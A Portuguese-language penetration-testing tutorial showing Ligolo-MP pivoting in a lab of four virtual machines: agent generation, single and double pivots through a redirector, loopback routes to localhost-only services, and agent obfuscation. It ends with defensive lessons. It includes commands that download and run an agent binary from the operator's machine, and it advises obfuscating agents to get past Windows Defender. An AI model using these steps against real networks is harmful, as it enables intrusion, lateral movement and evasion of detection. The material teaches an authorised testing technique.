NT-2026.09.29 DOSSIÊ PENTEST
LIGOLO-MP: PIVOTING COLABORATIVO COM TÚNEIS CIFRADOS
Como o Ligolo-MP transforma pivoting em operacao de equipe: agente compilado pelo servidor, TUN automatico, redirector para o segundo salto e rota de loopback para servicos presos ao localhost.
Pivoting: o problema de alcancar redes internas
Conquistar uma maquina exposta a internet raramente encerra um trabalho de pentest. Os ativos que importam – bancos de dados, controladores de dominio, aplicacoes internas e infraestrutura critica – costumam morar em segmentos isolados, sem rota a partir da rede publica. A tecnica de usar um host ja comprometido como rele para esse trafego e o que se chama network pivoting.
O pivot e, na pratica, uma ponte: o atacante entrega pacotes ao host comprometido, e esse host os repassa a redes que so ele alcanca. Ferramentas de pivoting classica exigem tunnels SOCKS manuais, configuracao de interface TUN por operador e tabelas de rota escritas a mao – trabalho que cresce a cada salto e cada colega conectado a mesma infraestrutura.
Ligolo-MP: pivoting colaborativo com arquitetura cliente-servidor
O Ligolo-MP e uma plataforma de pivoting multiusuario derivada dos conceitos do Ligolo-ng. Em vez de um proxy solitario controlado por uma unica pessoa, ela introduz um servidor central com duas interfaces separadas: uma para agentes (os hosts comprometidos) e outra para operadores (a equipe ofensiva).
A arquitetura muda o modelo de trabalho. Varios operadores conectam-se a mesma infraestrutura, veem todas as sessoes ativas e compartilham tuneis e rotas de forma coordenada. A gestao das interfaces TUN e do roteamento e automatica – nao e preciso criar ou configurar interfaces tun/tap manualmente em cada maquina de operador. Alem da abstracao de TUN, a plataforma expoe proxies SOCKS e HTTP e permite limitar por tunel o tamanho do pool de conexoes e o numero de conexoes TCP em andamento, util para afinar desempenho em operacoes grandes. Um painel de interface em modo texto reune sessoes, interfaces, rotas, redirectores e eventos em tempo real, simplificando pivots de varios saltos por muitas sub-redes.
O agente e multiplataforma – Linux, FreeBSD, macOS e Windows 7 ou superior – e a geracao de binarios com mTLS e feita dinamicamente pelo proprio servidor, com opcao de ofuscacao. As rotas podem apontar para o loopback da maquina alvo, eliminando port forwarding manual para servicos presos ao localhost.
Topologia do cenario: tres redes, quatro maquinas
A demonstracao de referencia trabalha com quatro maquinas virtuais distribuidas em tres redes VMware (vmnets) isoladas. O Kali atua como maquina do operador na rede 192.168.159.0/24. Um Debian interno, alcancavel por SSH, serve de primeiro pivot na fronteira da rede 192.168.234.0/24, onde vive um Windows 10 (WKS-01). Alem dele, a rede 192.168.188.0/24 guarda o Domain Controller – o alvo final, sem nenhuma rota a partir do Kali.
E um cenario classico de segmentacao parcial: existe um caminho encadeado entre as redes, mas nenhum caminho direto. E exatamente essa condicao que o pivoting multiplo explora.
Instalacao do Ligolo-MP no Kali Linux
No Kali, a instalacao e um pacote de sistema. O pacote ligolo-mp esta no repositorio oficial da distribuicao:
sudo apt install ligolo-mpO binario principal ligolo-mp e o servidor de tunneling (nao o cliente). Entre as opcoes de linha de comando, destacam-se -agent-addr, que define o endereco de escuta dos agentes (padrao 0.0.0.0:11601), e -operator-addr, o endereco das conexoes de operadores (padrao 0.0.0.0:58008), alem de -max-connection e -max-inflight para os limites por tunel. Para uso individual, o proprio servidor serves de interface – sem cliente separado.
Primeira execucao: servidor e operador admin
Com o pacote instalado, a subida do servidor e direta:
sudo ligolo-mpPressionar Enter faz login como operador admin – papel com controle completo sobre sessoes, rotas e redirectors da infraestrutura. Esse e o ponto de entrada de toda a operacao: o servidor fica escutando conexoes de agentes em primeiro plano, enquanto o painel exibe o estado da infraestrutura.
O painel do Ligolo-MP
O painel padrao se organiza em blocos de informacao:
- SERVER: detalhes dos listeners de operadores e agentes, confirmando portas ativas de controle e callback.
- SESSIONS: lista as conexoes de agentes com estado, status de relay e marcas de tempo.
- INTERFACES: interfaces de rede da maquina comprometida e seus enderecos IP.
- ROUTES: rotas e caminhos de pivoting estabelecidos pelas sessoes.
- REDIRECTORS: regras de encaminhamento de trafego entre origem e destino.
- LOG: eventos recentes com marca de tempo para monitorar a atividade.
O conjunto basico de controle e enxuto:
Ctrl-Aabre as funcoes de admin.Ctrl-Nabre o gerador de binario de agente.Ctrl-Texecuta traceroute.Tabalterna o foco entre blocos.Ctrl-Qencerra.
Toda a configuracao de sessao – status de relay, rotas, redirectores – pode ser feita mesmo com o agente desconectado; o servidor sincroniza a configuracao quando ele volta a ficar online.
Pivoting simples: tunel unico na rede 192.168.234.0/24
O primeiro objetivo e direto: a partir do Kali, alcancaar a rede 192.168.234.0/24 usando o Debian como ponte. Nenhuma rota existe entre o Kali e essa rede – o tunel do agente e o que cria o caminho. Com o servidor ativo e o painel dominado, o percurso tem cinco passos: gerar o agente, entrega-lo ao pivot, criar a rota, ativar o relay e provar a conectividade.
Passo 1: gerar o binario do agente
No painel, Ctrl+N abre o formulario de geracao do agente. Cada campo tem papel preciso:
- Save to: caminho local onde o binario gerado sera salvo.
- Servers: endereco e porta de callback – para onde o agente vai conectar. No cenario, o IP do Kali, onde o servidor esta em execucao.
- Proxy: rotear a conexao do agente por um proxy especifico, se necessario.
- Ignore env proxy: ignora configuracoes de proxy do sistema e conecta direto.
- OS e Arch: sistema e arquitetura do alvo (por exemplo, Linux amd64).
- Obfuscate: aplica ofuscacao basica ao binario para evasao.
Preencher os campos e confirmar gera o binario. A compilacao acontece no proprio servidor; o operador apenas recebe o arquivo final pronto no caminho indicado.
Passo 2: transferir o agente para o primeiro pivot
Para levar o binario ate o Debian, um servidor HTTP simples no Kali resolve:
python3 -m http.server 80Pela sessao SSH no Debian, o download e a execucao sao tres comandos:
ssh simba@192.168.159.140
wget http://192.168.159.128/reverse
chmod +x reverse
./reverseO wget busca o binario do servidor HTTP do Kali, o chmod +x concede permissao de execucao e a execucao dispara a conexao de volta ao servidor Ligolo-MP. No painel, o log registra o callback na porta 11601 e a sessao do Debian aparece em SESSIONS – o primeiro pivot esta conectado.
Passo 3: adicionar a rota 192.168.234.0/24
Com a sessao ativa, a rota define qual faixa de rede trafega por ela. No bloco SESSIONS, Enter na sessao destacada abre o menu de contexto; a opcao Add Route traz o formulario:
- CIDR: a faixa alvo em notacao CIDR – aqui,
192.168.234.0/24, a rede a atras do Debian. - Priority: precedencia da rota; valores menores tem prioridade maior.
- Loopback: habilita acesso a servicos do proprio pivot (como 127.0.0.1) atraves do tunel.
A rota e registrada na sessao, mas so entra em operacao quando o relay e ativado – a configuracao pode ser feita a qualquer momento, inclusive antes do agente reconectar.
Passo 4: ativar o relay
De volta ao menu da sessao (Enter), a opcao Start relay coloca o tunel em operacao. O painel passa a exibir a rota configurada com estado ativo: o servidor cria e gerencia a interface TUN correspondente no lado do operador, sem configuracao manual. A partir desse ponto, pacotes destinados a 192.168.234.0/24 saem do Kali pelo tunel e chegam a rede interna pelo Debian.
Passo 5: comprovar a conectividade com ping e nmap
A prova pratica vem das ferramentas de rede tradicionais, usadas sem flag especial – do ponto de vista do Kali, a rede interna funciona como se fosse local:
ping 192.168.234.101
nmap 192.168.234.101O ping responde e o nmap varre o Windows 10 interno normalmente. O pivoting simples esta concluido: com o Debian como ponte, o operador interage com a rede 192.168.234.0/24 inteira.
Duplo pivoting: o segundo salto para 192.168.188.0/24
Com o Windows 10 alcancavel pelo primeiro tunel, o proximo objetivo e instala um agente nele e abrir um segundo salto para a rede 192.168.188.0/24, onde vive o Domain Controller. Existe um obstaculo topologico: o Windows 10 nao tem rota direta para o IP do Kali. O segundo agente precisa conectar-se atraves do tunel ja existente.
E aqui que entra o redirector. Um redirector no Ligolo-MP e uma regra de encaminhamento TCP: faz uma porta na maquina do agente escutar conexoes e repassa todo o trafego recebido a um destino especificado pelo tunel. No cenario, o redirector escuta na interface vmnet8 do Debian (192.168.234.140) na porta 4444 e encaminha ao listener de agentes do Kali na porta 11601. Assim, o Windows 10 – que alcanca o Debian normalmente – conecta-se ao servidor Ligolo-MP sem rota direta ao Kali.
A cadeia resultante e linear: o agente Windows e compilado com callback para 192.168.234.140:4444; ao executar, conecta ao Debian; o redirector pega a conexao e a encaminha pelo tunel ate o Kali:11601; o servidor recebe uma nova conexao de agente e cria a nova sessao – como se o Windows tivesse conectado direto.
Passo 1: configurar o redirector de porta
No menu da sessao do Debian (Enter), a opcao Add redirector abre o formulario de tres campos:
- From: endereco e porta de escuta na maquina do pivot – aqui, a porta 4444, onde as conexoes chegam.
- To: destino do trafego – o endereco e porta do servidor Ligolo-MP.
- Protocol: transporte da redirecao, TCP ou UDP.
Todo o trafego recebido na porta 4444 do Debian e encaminhado ao servidor pelo tunel TLS ja estabelecido. Confirmar a regra a cria e ela passa a constar no bloco REDIRECTORS – o encadeamento esta pronto para o segundo agente. Nao ha limite de redirectores por sessao, e o recurso tambem serve para outros fins, como expor uma porta interna para fora.
Passo 2: gerar o agente para o Windows 10
A geracao do segundo binario repete o procedimento do Ctrl+N, com uma diferenca essencial: em Servers, o endereco de callback agora e o do redirector no Debian, nao o do Kali. O servidor compila o agente para Windows com mTLS e devolve o binario pronto.
A cadeia fecha o circuito: o agente em execucao no WKS-01 conecta a 192.168.234.140:4444, o redirector do Debian captura a conexao e a encaminha pelo tunel ate o listener do Kali na 11601, e o servidor registra uma nova sessao de agente – como se o Windows 10 tivesse alcancado o Kali diretamente.
Passo 3: entregar o agente por sessao RDP
Para entrega com interface grafica, o rdesktop conecta ao Windows 10 pelo primeiro tunel, levando junto uma pasta do Kali como unidade compartilhada:
rdesktop 192.168.234.101 -r disk:share=/home/kali/pivotA flag -r disk:share=/home/kali/pivot mapeia a pasta local pivot do Kali como unidade de disco dentro da sessao RDP – o canal de transferencia do agente, tudo trafegando pelo pivot ja estabelecido para a rede 192.168.234.0/24.
Com o login feito com credenciais da maquina, o share montado aparece dentro da sessao, o binario do agente e copiado para a area de trabalho e executado pelo prompt:
cd Desktop
ls
./agent.exeNo painel do Ligolo-MP, uma segunda sessao aparece: o host WKS-01 passa a listar junto ao pivot Debian, com estado conectado.
Passo 4: adicionar a rota 192.168.188.0/24
O fluxo repete o que foi feito na sessao do Debian: selecionar a sessao WKS-01, abrir o menu de contexto com Enter, escolher Add route e preencher o CIDR da rede interna do Domain Controller – 192.168.188.0/24. A rota fica registrada na sessao do Windows e aguarda a ativacao do relay para entrar em operacao.
Passo 5: ativar o relay do segundo pivot
Na sessao WKS-01, Enter e Start relay colocam o segundo tunel em operacao. A configuracao resultante da ao Kali acesso transparente as tres redes do cenario: a rede local 192.168.159.0/24, a rede 192.168.234.0/24 via tunel do Debian e a rede 192.168.188.0/24 via tunel do Windows 10. O Domain Controller em 192.168.188.100 fica diretamente alcancavel a partir do Kali, com ferramentas de rede padrao.
Passo 6: comprovar a conectividade com o Domain Controller
Novamente a prova vem das ferramentas tradicionais, agora contra o alvo final:
ping 192.168.188.100
nmap 192.168.188.100As respostas confirmam o encadeamento completo: dois saltos de tunel, dois agentes e uma rota por sessao – e o Domain Controller, duas redes alem do Kali, responde como se estivesse na mesa do operador.
Roteamento de loopback: servicos exclusivos do localhost
Uma restricao comum de hardening e prender servicos ao loopback: o servico escuta apenas em 127.0.0.1, e nenhum acesso externo e possivel. O Ligolo-MP resolve esse caso com um tipo especial de rota. Ao marcar uma rota como loopback, o trafego destinado ao endereco do pivot e entregue na interface 127.0.0.1 da maquina comprometida – do ponto de vista do servico, a conexao parece local, satisfazendo a restricao de bind. E o fim do port forwarding manual para alcancaar portas internas do proprio pivot.
Passo 1: preparar o servico restrito ao localhost
Para simular o cenario, a demonstracao instala o Apache2 no proprio pivot Debian e confere o estado do servico:
sudo apt install apache2
sudo systemctl status apache2O Apache e a vitima conveniente: simples de restringir e com uma pagina padrao facil de reconhecer.
Passo 2: restringir o Apache ao localhost
A restricao e feita na configuracao do proprio servidor web. Em /etc/apache2/ports.conf, a diretiva Listen passa a apontar para 127.0.0.1:80 – o Apache so aceita conexoes originadas da propria maquina:
sudo nano /etc/apache2/ports.confEm /etc/apache2/sites-available/000-default.conf, a diretiva <VirtualHost> acompanha a mudanca para 127.0.0.1:80, tornando o site padrao acessivel apenas localmente:
sudo nano /etc/apache2/sites-available/000-default.confCom as duas edicoes, o servico precisa ser recarregado:
sudo systemctl restart apache2Do lado de fora, o Apache deixou de existir: a pagina nao responde em nenhum endereco externo do Debian.
Passo 3: confirmar que o servico esta inacessivel externamente
Antes de atacar o problema, a demonstracao confirma que ele existe: abrir http://192.168.234.140 no navegador do Kali resulta em erro de conexao. E o comportamento esperado do hardening – o servico esta ativo, mas nenhum cliente externo consegue fala com ele. O pivoting simples precisa estar ativo e com conectividade comprovada antes do proximo passo.
Passo 1: adicionar a rota de loopback /32
Com o pivoting simples estabelecido, o menu da sessao do Debian (Enter) e a opcao Add Route recebem a rota especial. No campo CIDR entra o endereco do proprio pivot com mascara de host unico: 192.168.234.140/32. O /32 e essencial – especifica uma rota de host unico, nao uma sub-rede, e no modelo de prioridade do Ligolo-MP (menor faixa primeiro, depois menor metrica) ela vence rotas mais amplas para o mesmo destino.
A diferenca esta no checkbox Loopback, marcado com X no formulario. Com a rota loopback ativa, o Ligolo-MP nao encaminha os pacotes pela interface de rede do agente: ele reescreve o destino e os entrega na interface 127.0.0.1 da maquina. Para o Apache no Debian, as conexoes parecem originadas localmente – a restricao de bind e satisfeita, e o painel exibe a rota de loopback configurada e ativa.
Passo 2: acessar o servico restrito pelo tunel
A prova final e abrir a mesma URL que antes falhava: http://192.168.234.140 no navegador do Kali. Agora a pagina padrao do Apache2 Debian carrega por completo – o trafego sai do Kali, entra no tunel e termina no loopback do pivot, onde o servico escuta.
O operador alcancou um servico que, por definicao, nao era alcancavel por nenhum cliente externo. Para o defensor, a leitura e desconfortavel: bind ao localhost protege contra acesso direto pela rede, mas nao contra um atacante ja presente na maquina.
Ofuscacao do agente na geracao do binario
A ultima tecnica da demonstracao e a ofuscacao do agente em tempo de compilacao, ativada pela opcao Obfuscate no gerador. A transformacao acontece no codigo-fonte antes da compilacao: nomes de funcoes, variaveis e literais de string sao modificados, produzindo um binario com assinatura estatica bastante diferente – sem mudanca de comportamento em execucao.
O alvo e a deteccao por assinatura. Mecanismos como o Windows Defender podem marcar e remover binarios de agente padrao; um binario ofuscado escapa de assinaturas conhecidas e melhora a chance de implantacao em ambientes protegidos. O recurso integra-se ao processo de geracao: basta marcar a opcao antes de confirmar, e o servidor devolve o binario ja transformado.
Sintese: o que o percurso demonstrou
O percurso completo – pivoting simples, duplo pivoting com redirector, roteamento de loopback e ofuscacao de agente – mostra uma plataforma que transforma um trabalho historicamente artesanal em operacao de poucos comandos e cliques: o roteamento e o TUN sao gerenciados pelo servidor, rotas de loopback eliminam port forwarding, e a ofuscacao acompanha a geracao do binario.
A conclusao tecnica da demonstracao merece a leitura defensiva. Os habilitadores do encadeamento nao foram falhas de software – foram falhas de arquitetura: segmentacao porosa, ausencia de filtragem de egress e movimento lateral sem controle. Um perimetro forte nao compensa controles internos fracos: o primeiro host comprometido virou ponte para redes inteiras, e o bind ao localhost nao resistiu a um atacante com pe dentro da maquina. A resposta nao esta em bloquear a ferramenta, e sim em segmentacao real, filtragem de trafego entre VLANs, monitoramento de conexoes de saida e privilegio minimo em cada host.
